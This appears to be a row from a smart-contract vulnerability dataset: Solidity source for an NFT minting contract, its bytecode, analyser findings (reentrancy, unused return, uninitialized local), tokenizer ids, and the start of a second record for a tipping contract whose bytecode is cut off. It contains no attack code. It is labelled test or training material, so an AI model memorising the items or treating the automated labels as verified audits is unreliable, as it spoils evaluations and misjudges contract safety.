virtual override returns (uint256) { require(index < ERC721Enum.totalSupply(), "ERC721Enum: global ioob"); return index; } } pragma solidity ^0.8.11; contract ChillCubes is ERC721Enum, Ownable, ReentrancyGuard { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; IERC721 punkin = IERC721(0x48B8EF358f85179698cB5Ed134dC0E8151e9324f); uint256 public cost = 0.05 ether; uint256 public claimSupply = 666; uint256 public maxSupply = 7777; uint256 public maxMint = 3; uint256 public claims; bool public status = false; bool public claim = true; mapping(uint256 => bool) public claimed; mapping(address => uint256) public presaleWhitelist; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol){ setBaseURI(_initBaseURI); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } function claimPunkin(uint[] calldata tokenId) public { for (uint256 i = 0; i < tokenId.length; ++i) { require(!claimed[tokenId[i]], "Exists"); require(claim, "Off"); require(punkin.ownerOf(tokenId[i]) == msg.sender, "Not Owner"); uint256 s = totalSupply(); require(s <= claimSupply, "Max" ); _safeMint(msg.sender, s++, "" ); delete s; claimed[tokenId[i]] = true; } claims = claims + tokenId.length; } function mintPresale(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); uint256 reserve = presaleWhitelist[msg.sender]; require(!status && !claim, "Off"); require(reserve > 0, "Low"); require(_mintAmount <= reserve, "Try less"); require(s + _mintAmount <= maxSupply, "Max"); require(cost * _mintAmount == msg.value, "Wrong amount"); presaleWhitelist[msg.sender] = reserve - _mintAmount; delete reserve; for(uint256 i; i < _mintAmount; i++){ _safeMint(msg.sender, s + i, ""); } delete s; } function mint(uint256 _mintAmount) public payable nonReentrant{ uint256 s = totalSupply(); require(status, "Off" ); require(_mintAmount > 0, "0" ); require(_mintAmount <= maxMint, "Too many" ); require(s + _mintAmount <= maxSupply, "Max" ); require(msg.value >= cost * _mintAmount); for (uint256 i = 0; i < _mintAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s; } function adminMint(address[] calldata recipient) external onlyOwner{ uint256 s = totalSupply(); require(s + recipient.length <= maxSupply, "Too many" ); for(uint i = 0; i < recipient.length; ++i){ _safeMint(recipient[i], s++, "" ); } delete s; } function gift() external onlyOwner{ uint256 s = totalSupply(); uint256 remaining = claimSupply - claims; for (uint256 i = 0; i < remaining; ++i) { _safeMint(msg.sender, s++, ""); } delete s; } function presaleSet(address[] calldata _addresses) public onlyOwner { for(uint256 i; i < _addresses.length; i++){ presaleWhitelist[_addresses[i]] = maxMint; } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: Nonexistent token"); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(),baseExtension)) : ""; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setMaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner { maxMint = _newMaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setSaleStatus(bool _status) public onlyOwner { status = _status; } function setClaimStatus(bool _status) public onlyOwner { claim = _status; } function setBaseExtension(string memory newExtension) public onlyOwner { baseExtension = newExtension; } function withdraw() public onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x6080604052600436106102675760003560e01c8063654f97a311610144578063c6682862116100b6578063dbe7e3bd1161007a578063dbe7e3bd146106ed578063dcc59b6f1461071d578063e985e9c514610733578063eb8835ab1461077c578063f2fde38b146107a9578063f759867a146107c957600080fd5b8063c668286214610662578063c87b56dd14610677578063d5abeb0114610697578063d897833e146106ad578063da3ef23f146106cd57600080fd5b80638462151c116101085780638462151c146105af5780638da5cb5b146105dc57806395d89b41146105fa578063a0712d681461060f578063a22cb46514610622578063b88d4fde1461064257600080fd5b8063654f97a31461052f5780636c0360eb1461054f57806370a0823114610564578063715018a6146105845780637501f7411461059957600080fd5b806323b872dd116101dd57806344a0d68a116101a157806344a0d68a146104705780634dd71611146104905780634e71d92d146104b05780634f6ccce7146104cf57806355f804b3146104ef5780636352211e1461050f57600080fd5b806323b872dd146103e657806324b04905146104065780632f745c591461041b5780633ccfd60b1461043b57806342842e0e1461045057600080fd5b80630a6e6d8d1161022f5780630a6e6d8d1461033d5780630ad29ec31461035d57806313faede61461038157806318160ddd14610397578063200d2ed2146103ac57806321cbb5bd146103c657600080fd5b806301ffc9a71461026c57806306fdde03146102a1578063081812fc146102c3578063088a4ed0146102fb578063095ea7b31461031d575b600080fd5b34801561027857600080fd5b5061028c610287366004612240565b6107dc565b60405190151581526020015b60405180910390f35b3480156102ad57600080fd5b506102b6610807565b60405161029891906122b5565b3480156102cf57600080fd5b506102e36102de3660046122c8565b610899565b6040516001600160a01b039091168152602001610298565b34801561030757600080fd5b5061031b6103163660046122c8565b610926565b005b34801561032957600080fd5b5061031b6103383660046122f6565b610955565b34801561034957600080fd5b5061031b61035836600461236e565b610a6b565b34801561036957600080fd5b50610373600b5481565b604051908152602001610298565b34801561038d57600080fd5b50610373600a5481565b3480156103a357600080fd5b50600254610373565b3480156103b857600080fd5b50600f5461028c9060ff1681565b3480156103d257600080fd5b5061031b6103e136600461236e565b610afa565b3480156103f257600080fd5b5061031b6104013660046123b0565b610be4565b34801561041257600080fd5b5061031b610c15565b34801561042757600080fd5b506103736104363660046122f6565b610ca0565b34801561044757600080fd5b5061031b610d4f565b34801561045c57600080fd5b5061031b61046b3660046123b0565b610dd1565b34801561047c57600080fd5b5061031b61048b3660046122c8565b610dec565b34801561049c57600080fd5b5061031b6104ab36600461236e565b610e1b565b3480156104bc57600080fd5b50600f5461028c90610100900460ff1681565b3480156104db57600080fd5b506103736104ea3660046122c8565b611045565b3480156104fb57600080fd5b5061031b61050a36600461247d565b6110a2565b34801561051b57600080fd5b506102e361052a3660046122c8565b6110e3565b34801561053b57600080fd5b5061031b61054a3660046124db565b61116f565b34801561055b57600080fd5b506102b66111b3565b34801561057057600080fd5b5061037361057f3660046124f6565b611241565b34801561059057600080fd5b5061031b611313565b3480156105a557600080fd5b50610373600d5481565b3480156105bb57600080fd5b506105cf6105ca3660046124f6565b611349565b6040516102989190612513565b3480156105e857600080fd5b506005546001600160a01b03166102e3565b34801561060657600080fd5b506102b6611413565b61031b61061d3660046122c8565b611422565b34801561062e57600080fd5b5061031b61063d366004612557565b6115a8565b34801561064e57600080fd5b5061031b61065d36600461258c565b61166d565b34801561066e57600080fd5b506102b661169f565b34801561068357600080fd5b506102b66106923660046122c8565b6116ac565b3480156106a357600080fd5b50610373600c5481565b3480156106b957600080fd5b5061031b6106c83660046124db565b61176c565b3480156106d957600080fd5b5061031b6106e836600461247d565b6117a9565b3480156106f957600080fd5b5061028c6107083660046122c8565b60106020526000908152604090205460ff1681565b34801561072957600080fd5b50610373600e5481565b34801561073f57600080fd5b5061028c61074e36600461260c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b34801561078857600080fd5b506103736107973660046124f6565b60116020526000908152604090205481565b3480156107b557600080fd5b5061031b6107c43660046124f6565b6117e6565b61031b6107d73660046122c8565b61187e565b60006001600160e01b0319821663780e9d6360e01b1480610801575061080182611a67565b92915050565b60606000805461081690612645565b80601f016020809104026020016040519081016040528092919081815260200182805461084290612645565b801561088f5780601f106108645761010080835404028352916020019161088f565b820191906000526020600020905b81548152906001019060200180831161087257829003601f168201915b5050505050905090565b60006108a482611ab7565b61090a5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600360205260409020546001600160a01b031690565b6005546001600160a01b031633146109505760405162461bcd60e51b815260040161090190612680565b600d55565b6000610960826110e3565b9050806001600160a01b0316836001600160a01b031614156109ce5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610901565b336001600160a01b03821614806109ea57506109ea813361074e565b610a5c5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610901565b610a668383611b01565b505050565b6005546001600160a01b03163314610a955760405162461bcd60e51b815260040161090190612680565b60005b81811015610a6657600d5460116000858585818110610ab957610ab96126b5565b9050602002016020810190610ace91906124f6565b6001600160a01b0316815260208101919091526040016000205580610af2816126e1565b915050610a98565b6005546001600160a01b03163314610b245760405162461bcd60e51b815260040161090190612680565b6000610b2f60025490565b600c54909150610b3f83836126fc565b1115610b785760405162461bcd60e51b8152602060048201526008602482015267546f6f206d616e7960c01b6044820152606401610901565b60005b82811015610bde57610bce848483818110610b9857610b986126b5565b9050602002016020810190610bad91906124f6565b83610bb7816126e1565b945060405180602001604052806000815250611b6f565b610bd7816126e1565b9050610b7b565b50505050565b610bee3382611ba2565b610c0a5760405162461bcd60e51b815260040161090190612714565b610a66838383611c8c565b6005546001600160a01b03163314610c3f5760405162461bcd60e51b815260040161090190612680565b6000610c4a60025490565b90506000600e54600b54610c5e9190612765565b905060005b81811015610a6657610c903384610c79816126e1565b955060405180602001604052806000815250611b6f565b610c99816126e1565b9050610c63565b6000610cab83611241565b8210610cc95760405162461bcd60e51b81526004016109019061277c565b6000805b600254811015610d365760028181548110610cea57610cea6126b5565b6000918252602090912001546001600160a01b0386811691161415610d265783821415610d1a5791506108019050565b610d23826126e1565b91505b610d2f816126e1565b9050610ccd565b5060405162461bcd60e51b81526004016109019061277c565b6005546001600160a01b03163314610d795760405162461bcd60e51b815260040161090190612680565b604051600090339047908381818185875af1925050503d8060008114610dbb576040519150601f19603f3d011682016040523d82523d6000602084013e610dc0565b606091505b5050905080610dce57600080fd5b50565b610a668383836040518060200160405280600081525061166d565b6005546001600160a01b03163314610e165760405162461bcd60e51b815260040161090190612680565b600a55565b60005b8181101561102f5760106000848484818110610e3c57610e3c6126b5565b602090810292909201358352508101919091526040016000205460ff1615610e8f5760405162461bcd60e51b815260206004820152600660248201526545786973747360d01b6044820152606401610901565b600f54610100900460ff16610eb65760405162461bcd60e51b8152600401610901906127ac565b60095433906001600160a01b0316636352211e858585818110610edb57610edb6126b5565b905060200201356040518263ffffffff1660e01b8152600401610f0091815260200190565b602060405180830381865afa158015610f1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4191906127c9565b6001600160a01b031614610f835760405162461bcd60e51b81526020600482015260096024820152682737ba1027bbb732b960b91b6044820152606401610901565b6000610f8e60025490565b9050600b54811115610fb25760405162461bcd60e51b8152600401610901906127e6565b610fd73382610fc0816126e1565b935060405180602001604052806000815250611b6f565b5060006001601082868686818110610ff157610ff16126b5565b90506020020135815260200190815260200160002060006101000a81548160ff0219169083151502179055505080611028906126e1565b9050610e1e565b50600e5461103e9082906126fc565b600e555050565b600061105060025490565b821061109e5760405162461bcd60e51b815260206004820152601760248201527f455243373231456e756d3a20676c6f62616c20696f6f620000000000000000006044820152606401610901565b5090565b6005546001600160a01b031633146110cc5760405162461bcd60e51b815260040161090190612680565b80516110df90600790602084019061219a565b5050565b600080600283815481106110f9576110f96126b5565b6000918252602090912001546001600160a01b03169050806108015760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610901565b6005546001600160a01b031633146111995760405162461bcd60e51b815260040161090190612680565b600f80549115156101000261ff0019909216919091179055565b600780546111c090612645565b80601f01602080910402602001604051908101604052809291908181526020018280546111ec90612645565b80156112395780601f1061120e57610100808354040283529160200191611239565b820191906000526020600020905b81548152906001019060200180831161121c57829003601f168201915b505050505081565b60006001600160a01b0382166112ac5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610901565b600254600090815b8181101561130a57600281815481106112cf576112cf6126b5565b6000918252602090912001546001600160a01b03868116911614156112fa576112f7836126e1565b92505b611303816126e1565b90506112b4565b50909392505050565b6005546001600160a01b0316331461133d5760405162461bcd60e51b815260040161090190612680565b6113476000611de2565b565b606061135482611241565b6000106113735760405162461bcd60e51b81526004016109019061277c565b600061137e83611241565b905060008167ffffffffffffffff81111561139b5761139b6123f1565b6040519080825280602002602001820160405280156113c4578160200160208202803683370190505b50905060005b8281101561140b576113dc8582610ca0565b8282815181106113ee576113ee6126b5565b602090810291909101015280611403816126e1565b9150506113ca565b509392505050565b60606001805461081690612645565b600260065414156114755760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610901565b6002600655600061148560025490565b600f5490915060ff166114aa5760405162461bcd60e51b8152600401610901906127ac565b600082116114de5760405162461bcd60e51b81526020600482015260016024820152600360fc1b6044820152606401610901565b600d5482111561151b5760405162461bcd60e51b8152602060048201526008602482015267546f6f206d616e7960c01b6044820152606401610901565b600c5461152883836126fc565b11156115465760405162461bcd60e51b8152600401610901906127e6565b81600a546115549190612803565b34101561156057600080fd5b60005b8281101561159e5761158e3361157983856126fc565b60405180602001604052806000815250611b6f565b611597816126e1565b9050611563565b5050600160065550565b6001600160a01b0382163314156116015760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610901565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6116773383611ba2565b6116935760405162461bcd60e51b815260040161090190612714565b610bde84848484611e34565b600880546111c090612645565b60606116b782611ab7565b61170d5760405162461bcd60e51b815260206004820152602160248201527f4552433732314d657461646174613a204e6f6e6578697374656e7420746f6b656044820152603760f91b6064820152608401610901565b6000611717611e67565b905060008151116117375760405180602001604052806000815250611765565b8061174184611e76565b600860405160200161175593929190612822565b6040516020818303038152906040525b9392505050565b6005546001600160a01b031633146117965760405162461bcd60e51b815260040161090190612680565b600f805460ff1916911515919091179055565b6005546001600160a01b031633146117d35760405162461bcd60e51b815260040161090190612680565b80516110df90600890602084019061219a565b6005546001600160a01b031633146118105760405162461bcd60e51b815260040161090190612680565b6001600160a01b0381166118755760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610901565b610dce81611de2565b600260065414156118d15760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610901565b600260065560006118e160025490565b33600090815260116020526040902054600f549192509060ff161580156119105750600f54610100900460ff16155b61192c5760405162461bcd60e51b8152600401610901906127ac565b600081116119625760405162461bcd60e51b81526020600482015260036024820152624c6f7760e81b6044820152606401610901565b8083111561199d5760405162461bcd60e51b8152602060048201526008602482015267547279206c65737360c01b6044820152606401610901565b600c546119aa84846126fc565b11156119c85760405162461bcd60e51b8152600401610901906127e6565b3483600a546119d79190612803565b14611a135760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610901565b611a1d8382612765565b336000908152601160205260408120919091559050805b83811015611a5c57611a4a3361157983866126fc565b80611a54816126e1565b915050611a34565b505060016006555050565b60006001600160e01b031982166380ac58cd60e01b1480611a9857506001600160e01b03198216635b5e139f60e01b145b8061080157506301ffc9a760e01b6001600160e01b0319831614610801565b60025460009082108015610801575060006001600160a01b031660028381548110611ae457611ae46126b5565b6000918252602090912001546001600160a01b0316141592915050565b600081815260036020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611b36826110e3565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b611b798383611f74565b611b86600084848461209c565b610a665760405162461bcd60e51b8152600401610901906128e6565b6000611bad82611ab7565b611c0e5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610901565b6000611c19836110e3565b9050806001600160a01b0316846001600160a01b03161480611c545750836001600160a01b0316611c4984610899565b6001600160a01b0316145b80611c8457506001600160a01b0380821660009081526004602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611c9f826110e3565b6001600160a01b031614611d075760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610901565b6001600160a01b038216611d695760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610901565b611d74600082611b01565b8160028281548110611d8857611d886126b5565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611e3f848484611c8c565b611e4b8484848461209c565b610bde5760405162461bcd60e51b8152600401610901906128e6565b60606007805461081690612645565b606081611e9a5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611ec45780611eae816126e1565b9150611ebd9050600a8361294e565b9150611e9e565b60008167ffffffffffffffff811115611edf57611edf6123f1565b6040519080825280601f01601f191660200182016040528015611f09576020820181803683370190505b5090505b8415611c8457611f1e600183612765565b9150611f2b600a86612962565b611f369060306126fc565b60f81b818381518110611f4b57611f4b6126b5565b60200101906001600160f81b031916908160001a905350611f6d600a8661294e565b9450611f0d565b6001600160a01b038216611fca5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610901565b611fd381611ab7565b156120205760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610901565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60006001600160a01b0384163b1561218f57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120e0903390899088908890600401612976565b6020604051808303816000875af192505050801561211b575060408051601f3d908101601f19168201909252612118918101906129b3565b60015b612175573d808015612149576040519150601f19603f3d011682016040523d82523d6000602084013e61214e565b606091505b50805161216d5760405162461bcd60e51b8152600401610901906128e6565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611c84565b506001949350505050565b8280546121a690612645565b90600052602060002090601f0160209004810192826121c8576000855561220e565b82601f106121e157805160ff191683800117855561220e565b8280016001018555821561220e579182015b8281111561220e5782518255916020019190600101906121f3565b5061109e9291505b8082111561109e5760008155600101612216565b6001600160e01b031981168114610dce57600080fd5b60006020828403121561225257600080fd5b81356117658161222a565b60005b83811015612278578181015183820152602001612260565b83811115610bde5750506000910152565b600081518084526122a181602086016020860161225d565b601f01601f19169290920160200192915050565b6020815260006117656020830184612289565b6000602082840312156122da57600080fd5b5035919050565b6001600160a01b0381168114610dce57600080fd5b6000806040838503121561230957600080fd5b8235612314816122e1565b946020939093013593505050565b60008083601f84011261233457600080fd5b50813567ffffffffffffffff81111561234c57600080fd5b6020830191508360208260051b850101111561236757600080fd5b9250929050565b6000806020838503121561238157600080fd5b823567ffffffffffffffff81111561239857600080fd5b6123a485828601612322565b90969095509350505050565b6000806000606084860312156123c557600080fd5b83356123d0816122e1565b925060208401356123e0816122e1565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115612422576124226123f1565b604051601f8501601f19908116603f0116810190828211818310171561244a5761244a6123f1565b8160405280935085815286868601111561246357600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561248f57600080fd5b813567ffffffffffffffff8111156124a657600080fd5b8201601f810184136124b757600080fd5b611c8484823560208401612407565b803580151581146124d657600080fd5b919050565b6000602082840312156124ed57600080fd5b611765826124c6565b60006020828403121561250857600080fd5b8135611765816122e1565b6020808252825182820181905260009190848201906040850190845b8181101561254b5783518352928401929184019160010161252f565b50909695505050505050565b6000806040838503121561256a57600080fd5b8235612575816122e1565b9150612583602084016124c6565b90509250929050565b600080600080608085870312156125a257600080fd5b84356125ad816122e1565b935060208501356125bd816122e1565b925060408501359150606085013567ffffffffffffffff8111156125e057600080fd5b8501601f810187136125f157600080fd5b61260087823560208401612407565b91505092959194509250565b6000806040838503121561261f57600080fd5b823561262a816122e1565b9150602083013561263a816122e1565b809150509250929050565b600181811c9082168061265957607f821691505b6020821081141561267a57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156126f5576126f56126cb565b5060010190565b6000821982111561270f5761270f6126cb565b500190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082821015612777576127776126cb565b500390565b60208082526016908201527522a9219b9918a2b73ab69d1037bbb732b91034b7b7b160511b604082015260600190565b60208082526003908201526227b33360e91b604082015260600190565b6000602082840312156127db57600080fd5b8151611765816122e1565b60208082526003908201526209ac2f60eb1b604082015260600190565b600081600019048311821515161561281d5761281d6126cb565b500290565b6000845160206128358285838a0161225d565b8551918401916128488184848a0161225d565b8554920191600090600181811c908083168061286557607f831692505b85831081141561288357634e487b7160e01b85526022600452602485fd5b80801561289757600181146128a8576128d5565b60ff198516885283880195506128d5565b60008b81526020902060005b858110156128cd5781548a8201529084019088016128b4565b505083880195505b50939b9a5050505050505050505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b60008261295d5761295d612938565b500490565b60008261297157612971612938565b500690565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906129a990830184612289565b9695505050505050565b6000602082840312156129c557600080fd5b81516117658161222a56fea264697066735822122054d0e68278f3aa4acac29945856a9a42685740d1acc2d809c17531ee7a45a83b64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 24434, 2692, 22407, 2620, 19317, 2050, 22275, 2497, 2620, 12521, 24434, 2546, 2475, 2094, 28311, 2050, 2692, 2629, 2063, 2683, 23499, 3540, 3676, 2050, 2683, 3676, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2340, 1025, 10061, 3206, 2128, 4765, 5521, 5666, 18405, 1063, 21318, 3372, 17788, 2575, 2797, 5377, 1035, 2025, 1035, 3133, 1027, 1015, 1025, 21318, 3372, 17788, 2575, 2797, 5377, 1035, 3133, 1027, 1016, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 3570, 1025, 9570, 2953, 1006, 1007, 1063, 1035, 3570, 1027, 1035, 2025, 1035, 3133, 1025, 1065, 16913, 18095, 2512, 28029, 6494, 3372, 1006, 1007, 1063, 5478, 1006, 1035, 3570, 999, 1027, 1035, 3133, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,713
0x9737495934d40430dd4ea0de9b1727435c8c2a21
pragma solidity ^0.4.24; // THE LAST SMART CONTRACT HAD SOME SECURITY HOLES // THIS IS THE SECOND SMART CONTRACT FOR THE LIKE FEATURE // OLD CONTRACT CAN BE SEEN AT https://etherscan.io/address/0x6acd16200a2a046bf207d1b263202ec1a75a7d51 // DATA IS IMPORTED FROM THE LAST CONTRACT // BIG SHOUTOUT TO CASTILLO NETWORK FOR FINDING THE SECURITY HOLE AND PERFORMING AN AUDIT ON THE LAST CONTRACT // https://github.com/EthereumCommonwealth/Auditing // Old contract data contract dappVolumeHearts { // map dapp ids with heart totals mapping(uint256 => uint256) public totals; // get total hearts by id function getTotalHeartsByDappId(uint256 dapp_id) public view returns(uint256) { return totals[dapp_id]; } } // Allows users to "heart" (like) a DAPP by dapp id // 1 Like = XXXXX eth will be set on front end of site // 50% of each transaction gets sent to the last liker contract DappVolumeHearts { dappVolumeHearts firstContract; using SafeMath for uint256; // set contract owner address public contractOwner; // set last address transacted address public lastAddress; // set first contracts address address constant public firstContractAddress = 0x6ACD16200a2a046bf207D1B263202ec1A75a7D51; // map dapp ids with heart totals ( does not count first contract ) mapping(uint256 => uint256) public totals; // only contract owner modifier onlyContractOwner { require(msg.sender == contractOwner); _; } // set constructor constructor() public { contractOwner = msg.sender; lastAddress = msg.sender; firstContract = dappVolumeHearts(firstContractAddress); } // withdraw funds to contract creator function withdraw() public onlyContractOwner { contractOwner.transfer(address(this).balance); } // update heart count function update(uint256 dapp_id) public payable { require(msg.value >= 2000000000000000); require(dapp_id > 0); totals[dapp_id] = totals[dapp_id].add(msg.value); lastAddress = msg.sender; // send 50% of the money to the last person lastAddress.transfer(msg.value.div(2)); } // get total hearts by id with legacy contract totaled in function getTotalHeartsByDappId(uint256 dapp_id) public view returns(uint256) { return totals[dapp_id].add(firstContract.getTotalHeartsByDappId(dapp_id)); } // get contract balance function getBalance() public view returns(uint256){ return address(this).balance; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
0x60806040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312065fe0146100935780631b338710146100be5780633ccfd60b146100ff57806372d475db1461011657806378afda071461015757806382ab890a146101ae578063cd68100c146101ce578063ce606ee014610225575b600080fd5b34801561009f57600080fd5b506100a861027c565b6040518082815260200191505060405180910390f35b3480156100ca57600080fd5b506100e96004803603810190808035906020019092919050505061029b565b6040518082815260200191505060405180910390f35b34801561010b57600080fd5b506101146102b3565b005b34801561012257600080fd5b5061014160048036038101908080359060200190929190505050610391565b6040518082815260200191505060405180910390f35b34801561016357600080fd5b5061016c61048a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101cc600480360381019080803590602001909291905050506104a2565b005b3480156101da57600080fd5b506101e36105c4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023157600080fd5b5061023a6105ea565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b60036020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561030f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f1935050505015801561038e573d6000803e3d6000fd5b50565b60006104836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166372d475db846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561042657600080fd5b505af115801561043a573d6000803e3d6000fd5b505050506040513d602081101561045057600080fd5b8101908080519060200190929190505050600360008581526020019081526020016000205461061090919063ffffffff16565b9050919050565b736acd16200a2a046bf207d1b263202ec1a75a7d5181565b66071afd498d000034101515156104b857600080fd5b6000811115156104c757600080fd5b6104ed34600360008481526020019081526020016000205461061090919063ffffffff16565b600360008381526020019081526020016000208190555033600260006101000a81